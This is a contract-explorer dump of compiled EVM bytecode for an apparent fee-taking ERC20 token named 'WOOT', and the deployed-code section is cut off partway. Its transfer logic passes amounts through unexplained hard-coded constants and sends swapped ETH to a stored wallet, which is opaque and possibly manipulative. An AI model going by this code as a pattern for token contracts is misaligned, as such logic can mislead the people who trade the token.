c5462000cd1600b54600a546200102460201b62001a881790919060201c565b6200102460201b62001a881790919060201c565b601f8190555062000d2460095462000d10600854601c546200102460201b62001a881790919060201c565b6200102460201b62001a881790919060201c565b602081905550600160136000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506016546006600062000dfc62000ff360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160126000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000ec462000ff360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6016546040518082815260200191505060405180910390a35062001257565b60008083141562000f47576000905062000fb7565b600082840290508284828162000f5957fe5b041462000fb2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180620041d5602d913960400191505060405180910390fd5b809150505b92915050565b600062000feb8383604051806060016040528060268152602001620041af602691396200109160201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082840190508381101562001087576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180620042026027913960400191505060405180910390fd5b8091505092915050565b6000808311829062001141576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101562001105578082015181840152602081019050620010e8565b50505050905090810190601f168015620011335780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816200114e57fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620011945760008555620011e0565b82601f10620011af57805160ff1916838001178555620011e0565b82800160010185558215620011e0579182015b82811115620011df578251825591602001919060010190620011c2565b5b509050620011ef919062001238565b5090565b826004810192821562001225579160200282015b828111156200122457825182559160200191906001019062001207565b5b50905062001234919062001238565b5090565b5b808211156200125357600081600090555060010162001239565b5090565b60805160601c60a05160601c612f246200128b60003980610f8b52806111095250806110dd52806111355250612f246000f3fe60806040526004361061026a5760003560e01c806382eefb4311610144578063c5d24189116100b6578063dc44b6a01161007a578063dc44b6a014610d3d578063dd62ed3e14610d68578063f0cd1dac14610ded578063f2fde38b14610e18578063f8087a4f14610e69578063f872858a14610e9457610271565b8063c5d2418914610bee578063c816841b14610c19578063c867d60b14610c5a578063ceb306ea14610cc1578063da00097d14610d1057610271565b806395d89b411161010857806395d89b41146109a157806398e944c814610a31578063a457c2d714610a72578063a9059cbb14610ae3578063b115e4df14610b54578063b86fdf2d14610b9557610271565b806382eefb4314610878578063867d4e72146108a357806388790a68146108ce5780638b42507f146108f95780638da5cb5b1461096057610271565b806338253ad5116101dd5780635c3d371d116101a15780635c3d371d14610750578063701cf6f41461077b57806370a08231146107a6578063715018a61461080b5780637d1db4a514610822578063807c2d9c1461084d57610271565b806338253ad5146105bb57806339509351146105e65780633ecad271146106575780635194f9bf146106be5780635342acb4146106e957610271565b806318160ddd1161022f57806318160ddd1461043a57806323555d571461046557806323b872dd1461049057806327c8f835146105215780632b112e4914610562578063313ce5671461058d57610271565b8062851fb31461027657806306fdde03146102b75780630930907b14610347578063095ea7b3146103885780631694505e146103f957610271565b3661027157005b600080fd5b34801561028257600080fd5b5061028b610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c357600080fd5b506102cc610ee7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035357600080fd5b5061035c610f89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b60405180821515815260200191505060405180910390f35b34801561040557600080fd5b5061040e610fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f610ff1565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061047a610ffb565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b50610509600480360360608110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b60405180821515815260200191505060405180910390f35b34801561052d57600080fd5b506105366110db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056e57600080fd5b506105776110ff565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a261117d565b604051808260ff16815260200191505060405180910390f35b3480156105c757600080fd5b506105d0611194565b6040518082815260200191505060405180910390f35b3480156105f257600080fd5b5061063f6004803603604081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061119a565b60405180821515815260200191505060405180910390f35b34801561066357600080fd5b506106a66004803603602081101561067a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124d565b60405180821515815260200191505060405180910390f35b3480156106ca57600080fd5b506106d361126d565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506107386004803603602081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611273565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b50610765611293565b6040518082815260200191505060405180910390f35b34801561078757600080fd5b50610790611299565b6040518082815260200191505060405180910390f35b3480156107b257600080fd5b506107f5600480360360208110156107c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129f565b6040518082815260200191505060405180910390f35b34801561081757600080fd5b506108206112e8565b005b34801561082e57600080fd5b50610837611453565b6040518082815260200191505060405180910390f35b34801561085957600080fd5b50610862611459565b6040518082815260200191505060405180910390f35b34801561088457600080fd5b5061088d61145f565b6040518082815260200191505060405180910390f35b3480156108af57600080fd5b506108b8611465565b6040518082815260200191505060405180910390f35b3480156108da57600080fd5b506108e361146b565b6040518082815260200191505060405180910390f35b34801561090557600080fd5b506109486004803603602081101561091c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611471565b60405180821515815260200191505060405180910390f35b34801561096c57600080fd5b50610975611491565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ad57600080fd5b506109b66114ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f65780820151818401526020810190506109db565b50505050905090810190601f168015610a235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a3d57600080fd5b50610a4661155c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a7e57600080fd5b50610acb60048036036040811015610a9557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611582565b60405180821515815260200191505060405180910390f35b348015610aef57600080fd5b50610b3c60048036036040811015610b0657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061164f565b60405180821515815260200191505060405180910390f35b348015610b6057600080fd5b50610b6961166e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba157600080fd5b50610bd860048036036040811015610bb857600080fd5b810190808035906020019092919080359060200190929190505050611694565b6040518082815260200191505060405180910390f35b348015610bfa57600080fd5b50610c036116c1565b6040518082815260200191505060405180910390f35b348015610c2557600080fd5b50610c2e6116c7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c6657600080fd5b50610ca960048036036020811015610c7d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ed565b60405180821515815260200191505060405180910390f35b348015610ccd57600080fd5b50610cfa60048036036020811015610ce457600080fd5b810190808035906020019092919050505061170d565b6040518082815260200191505060405180910390f35b348015610d1c57600080fd5b50610d25611728565b60405180821515815260200191505060405180910390f35b348015610d4957600080fd5b50610d5261173b565b6040518082815260200191505060405180910390f35b348015610d7457600080fd5b50610dd760048036036040811015610d8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611741565b6040518082815260200191505060405180910390f35b348015610df957600080fd5b50610e026117c8565b6040518082815260200191505060405180910390f35b348015610e2457600080fd5b50610e6760048036036020811015610e3b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b005b348015610e7557600080fd5b50610e7e6119bc565b6040518082815260200191505060405180910390f35b348015610ea057600080fd5b50610ea96119c2565b60405180821515815260200191505060405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7f5780601f10610f5457610100808354040283529160200191610f7f565b820191906000526020600020905b815481529060010190602001808311610f6257829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610fc1610fba611af3565b8484611afb565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601654905090565b600c5481565b600061100e848484611cf2565b506110d08461101b611af3565b6110cb85604051806060016040528060338152602001612d5060339139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611081611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b611afb565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061117861112d7f000000000000000000000000000000000000000000000000000000000000000061129f565b61116a6111597f000000000000000000000000000000000000000000000000000000000000000061129f565b60165461246690919063ffffffff16565b61246690919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600d5481565b60006112436111a7611af3565b8461123e85600760006111b8611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b611afb565b6001905092915050565b60136020528060005260406000206000915054906101000a900460ff1681565b60095481565b60126020528060005260406000206000915054906101000a900460ff1681565b601e5481565b60085481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112f0611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612d24602c913960400191505060405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60185481565b60195481565b60205481565b60175481565b601c5481565b60156020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115525780601f1061152757610100808354040283529160200191611552565b820191906000526020600020905b81548152906001019060200180831161153557829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061164561158f611af3565b8461164085604051806060016040528060308152602001612e8f60309139600760006115b9611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b611afb565b6001905092915050565b600061166361165c611af3565b8484611cf2565b506001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008183106116a5578190506116bb565b8160028401106116b7578190506116bb565b8290505b92915050565b600b5481565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60146020528060005260406000206000915054906101000a900460ff1681565b600e816004811061171d57600080fd5b016000915090505481565b601b60159054906101000a900460ff1681565b600a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601f5481565b6117d6611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612d24602c913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180612e5d6032913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b601b60169054906101000a900460ff1681565b6000808314156119e85760009050611a55565b60008284029050828482816119f957fe5b0414611a50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612d83602d913960400191505060405180910390fd5b809150505b92915050565b6000611a808383604051806060016040528060268152602001612cac60269139612493565b905092915050565b600080828401905083811015611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612e366027913960400191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612ddd602f913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612db0602d913960400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180612ebf6030913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612cf6602e913960400191505060405180910390fd5b601b60149054906101000a900460ff1615611e2657611e1f848484612559565b905061239f565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eca5750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2b57601854821115611f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612cd26024913960400191505060405180910390fd5b5b6000611f363061129f565b905060006017548210159050808015611f5c5750601b60149054906101000a900460ff16155b8015611fb25750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fdc57601b60159054906101000a900460ff1615611fd25760175491505b611fdb82612885565b5b601b60169054906101000a900460ff1680156120425750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121025760195461208d6120766103e8612068602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b61207f8861129f565b611a8890919063ffffffff16565b1115612101576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f57616c6c6574204c696d69742121436865636120616761696e2e00000000000081525060200191505060405180910390fd5b5b61217b6121566121316103e8612123602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b7e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b7e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b600e60036004811061218957fe5b01819055506121e16121ba6103e86121ac602054886119d590919063ffffffff16565b611a5b90919063ffffffff16565b85037e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b600e6002600481106121ef57fe5b0181905550601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615806122975750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8061233f5750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061233e5750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b1561235b5761044d601e6000828254019250508190555061238c565b61de16601d54146123735761236e61295b565b61238b565b610842601e600082825401925050819055601d819055505b5b612397868686612559565b506001925050505b9392505050565b6000838311158290612453576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124185780820151818401526020810190506123fd565b50505050905090810190601f1680156124455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061248b83836040518060600160405280602a8152602001612e0c602a91396123a6565b905092915050565b6000808311829061253f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125045780820151818401526020810190506124e9565b50505050905090810190601f1680156125315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161254b57fe5b049050809150509392505050565b60006125e4826040518060400160405280601881526020017f496e73756666696369656e74436865636120616761696e2e0000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610999601e819055600e60016004811061263d57fe5b0181905550601b60149054906101000a900460ff1615612681576000600e60036004811061266757fe5b018190555081600e60026004811061267b57fe5b01819055505b60006126be600e60026004811061269457fe5b01546063017e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b905061271281600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b6600e60036004811061276657fe5b0154600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610999601e819055600e60016004811061280f57fe5b01819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6001601b60146101000a81548160ff0219169083151502179055506128a9816129ca565b6000479050600081111561292157600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561291f573d6000803e3d6000fd5b505b6101a1601e819055600e60016004811061293757fe5b0181905550506000601b60146101000a81548160ff02191690831515021790555050565b6001601e54600a601e546104a301030103601d819055506b066c6ef08e51006c03a941dc600e60036004811061298d57fe5b0160008282540192505081905550601e54601d81905550610999601e819055600e6001600481106129ba57fe5b0181905550601e54601d81905550565b6000600267ffffffffffffffff811180156129e457600080fd5b50604051908082528060200260200182016040528015612a135781602001602082028036833780820191505090505b509050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a7e57600080fd5b505afa158015612a92573d6000803e3d6000fd5b505050506040513d6020811015612aa857600080fd5b810190808051906020019092919050505081600181518110612ac657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600081518110612b0e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b7530601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611afb565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612c39578082015181840152602081019050612c1e565b505050509050019650505050505050600060405180830381600087803b158015612c6257600080fd5b505af1158015612c76573d6000803e3d6000fd5b50505050601e54601d8190555061a512601e819055600e600160048110612c9957fe5b0181905550601e54601d81905550505056fe536166654d6174683a206469766973696f6e206279207a65726f436865636120616761696e2e6578636565647320746865206d61785478416d6f756e742e436865636120616761696e2e574f4f543a207472616e7366657220746f20746865207a65726f2061646472657373436865636120616761696e2e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572436865636120616761696e2e574f4f543a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365436865636120616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636120616761696e2e574f4f543a20617070726f766520746f20746865207a65726f2061646472657373436865636120616761696e2e574f4f543a20617070726f76652066726f6d20746865207a65726f2061646472657373436865636120616761696e2e536166654d6174683a207375627472616374696f6e206f766572666c6f77436865636120616761696e2e536166654d6174683a206164646974696f6e206f766572666c6f77436865636120616761696e2e4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436865636120616761696e2e574f4f543a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f436865636120616761696e2e574f4f543a207472616e736665722066726f6d20746865207a65726f2061646472657373436865636120616761696e2ea2646970667358221220310ffd8dabf149524881c68948fad21157a0b4e17526833edc38e16ce70e25c864736f6c63430007060033536166654d6174683a206469766973696f6e206279207a65726f436865636120616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636120616761696e2e536166654d6174683a206164646974696f6e206f766572666c6f77436865636120616761696e2e
Deployed Bytecode
0x60806040526004361061026a5760003560e01c806382eefb4311610144578063c5d24189116100b6578063dc44b6a01161007a578063dc44b6a014610d3d578063dd62ed3e14610d68578063f0cd1dac14610ded578063f2fde38b14610e18578063f8087a4f14610e69578063f872858a14610e9457610271565b8063c5d2418914610bee578063c816841b14610c19578063c867d60b14610c5a578063ceb306ea14610cc1578063da00097d14610d1057610271565b806395d89b411161010857806395d89b41146109a157806398e944c814610a31578063a457c2d714610a72578063a9059cbb14610ae3578063b115e4df14610b54578063b86fdf2d14610b9557610271565b806382eefb4314610878578063867d4e72146108a357806388790a68146108ce5780638b42507f146108f95780638da5cb5b1461096057610271565b806338253ad5116101dd5780635c3d371d116101a15780635c3d371d14610750578063701cf6f41461077b57806370a08231146107a6578063715018a61461080b5780637d1db4a514610822578063807c2d9c1461084d57610271565b806338253ad5146105bb57806339509351146105e65780633ecad271146106575780635194f9bf146106be5780635342acb4146106e957610271565b806318160ddd1161022f57806318160ddd1461043a57806323555d571461046557806323b872dd1461049057806327c8f835146105215780632b112e4914610562578063313ce5671461058d57610271565b8062851fb31461027657806306fdde03146102b75780630930907b14610347578063095ea7b3146103885780631694505e146103f957610271565b3661027157005b600080fd5b34801561028257600080fd5b5061028b610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c357600080fd5b506102cc610ee7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035357600080fd5b5061035c610f89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b60405180821515815260200191505060405180910390f35b34801561040557600080fd5b5061040e610fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f610ff1565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061047a610ffb565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b50610509600480360360608110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b60405180821515815260200191505060405180910390f35b34801561052d57600080fd5b506105366110db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056e57600080fd5b506105776110ff565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a261117d565b604051808260ff16815260200191505060405180910390f35b3480156105c757600080fd5b506105d0611194565b6040518082815260200191505060405180910390f35b3480156105f257600080fd5b5061063f6004803603604081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061119a565b60405180821515815260200191505060405180910390f35b34801561066357600080fd5b506106a66004803603602081101561067a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124d565b60405180821515815260200191505060405180910390f35b3480156106ca57600080fd5b506106d361126d565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506107386004803603602081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611273565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b50610765611293565b6040518082815260200191505060405180910390f35b34801561078757600080fd5b50610790611299565b6040518082815260200191505060405180910390f35b3480156107b257600080fd5b506107f5600480360360208110156107c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129f565b6040518082815260200191505060405180910390f35b34801561081757600080fd5b506108206112e8565b005b34801561082e57600080fd5b50610837611453565b6040518082815260200191505060405180910390f35b34801561085957600080fd5b50610862611459565b6040518082815260200191505060405180910390f35b34801561088457600080fd5b5061088d61145f565b6040518082815260200191505060405180910390f35b3480156108af57600080fd5b506108b8611465565b6040518082815260200191505060405180910390f35b3480156108da57600080fd5b506108e361146b565b6040518082815260200191505060405180910390f35b34801561090557600080fd5b506109486004803603602081101561091c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611471565b60405180821515815260200191505060405180910390f35b34801561096c57600080fd5b50610975611491565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ad57600080fd5b506109b66114ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f65780820151818401526020810190506109db565b50505050905090810190601f168015610a235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a3d57600080fd5b50610a4661155c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a7e57600080fd5b50610acb60048036036040811015610a9557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611582565b60405180821515815260200191505060405180910390f35b348015610aef57600080fd5b50610b3c60048036036040811015610b0657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061164f565b60405180821515815260200191505060405180910390f35b348015610b6057600080fd5b50610b6961166e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba157600080fd5b50610bd860048036036040811015610bb857600080fd5b810190808035906020019092919080359060200190929190505050611694565b6040518082815260200191505060405180910390f35b348015610bfa57600080fd5b50610c036116c1565b6040518082815260200191505060405180910390f35b348015610c2557600080fd5b50610c2e6116c7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c6657600080fd5b50610ca960048036036020811015610c7d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ed565b60405180821515815260200191505060405180910390f35b348015610ccd57600080fd5b50610cfa60048036036020811015610ce457600080fd5b810190808035906020019092919050505061170d565b604